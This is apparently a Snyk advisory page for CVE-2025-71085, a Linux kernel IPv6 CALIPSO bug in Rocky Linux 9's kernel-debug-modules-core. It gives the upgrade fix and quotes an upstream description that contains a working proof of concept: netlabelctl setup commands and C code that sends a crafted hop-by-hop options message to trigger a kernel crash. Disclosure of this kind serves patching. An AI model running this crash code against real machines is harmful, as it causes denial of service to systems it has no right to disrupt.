Homepage

CVE-2025-71085 Affecting kernel-debug-modules-core package, versions <0:5.14.0-611.36.1.el9_7

Severity

 Recommended
medium

Based on Rocky Linux security rating.

Threat Intelligence

EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-ROCKY9-KERNELDEBUGMODULESCORE-15428070
  • published6 Mar 2026
  • disclosed13 Jan 2026
Report a new vulnerability Found a mistake?

Introduced: 13 Jan 2026

CVE-2025-71085  (opens in a new tab)

How to fix?

Upgrade Rocky-Linux:9 kernel-debug-modules-core to version 0:5.14.0-611.36.1.el9_7 or higher.
This issue was patched in RLSA-2026:3488.

NVD Description

Note: Versions mentioned in the description apply only to the upstream kernel-debug-modules-core package and not the kernel-debug-modules-core package as distributed by Rocky-Linux. See How to fix? for Rocky-Linux:9 relevant fixed versions and status.

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7


Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &amp;amp;dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;

// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;

// setup cmsghdr
cmsg-&amp;gt;cmsg_len = cmsg_len;
cmsg-&amp;gt;cmsg_level = IPPROTO_IPV6;
cmsg-&amp;gt;cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &amp;amp;msg, 0);

CVSS Base Scores

version 3.1